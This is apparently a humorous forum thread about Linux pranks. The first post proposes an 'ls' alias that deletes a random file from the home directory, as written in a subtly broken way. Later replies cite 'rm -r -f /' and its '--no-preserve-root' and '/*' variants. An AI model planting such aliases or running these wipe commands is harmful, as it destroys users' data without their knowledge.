Why not make it more mischievous?


<span style="color:#323232;">alias ls="find $HOME -type f | shuf -n 1 | rm -f; ls"
</span>

This line erases one random file from your home directory and then uses ls as normal. You won’t know what vanished until you need it or it removes a needed library or binary.

Or to be REALLY mischievous in the long tun, randomize it with 0.1% probability of erasing the file.

Joke’s on you, I have transcended using ls because I have my entire folder structure memorized.

Rentlar,

“Real” linux users never exit vim and just use the internal shell there, so they are protected.

LinyosT,

Only because exiting vim is still long lost knowledge.

Legend has it that the Elders knew of a world outside Vim, a world that encompasses it and all other things. That arcana is now lost, and none can transcend our plane of existence. Vim is all we know.

pewgar_seemsimandroid,

boo! emacs

ninjan,

That sudo might save the poor victims ass if they’re awake enough to wonder “why does it ask for password when I’m just doing ls?”

Otherwise it’s a good lesson in always having backups / easy way to reproduce your setup.

Unless they updated their system with Sudo shortly before

bdonvr,

Pffft who’s not using passwordless sudo anyway

ninjan,

I don’t, after doing the classic rm -r -f / when I meant ./ the second time I realized I’m too much of a dumbass to be allowed to use sudo without password.

voidMainVoid,

I’ve always had a password. One of the biggest benefits of Linux is security. Why would you undermine that by not using a password?

bdonvr,

I do have a password. Sudo is just setup not to ask for it.

On servers of course I use a password for sudo - but on a home machine there’s not much of a point I don’t think. It’s off when I’m not actively using it, and if some attacker or malware has access to my user they already have access to all my important files, or have physical access.

Discover5164,

you need no preserve root otherwise it will fail

shotgun_crab,

Or you can just do /*, which is shorter
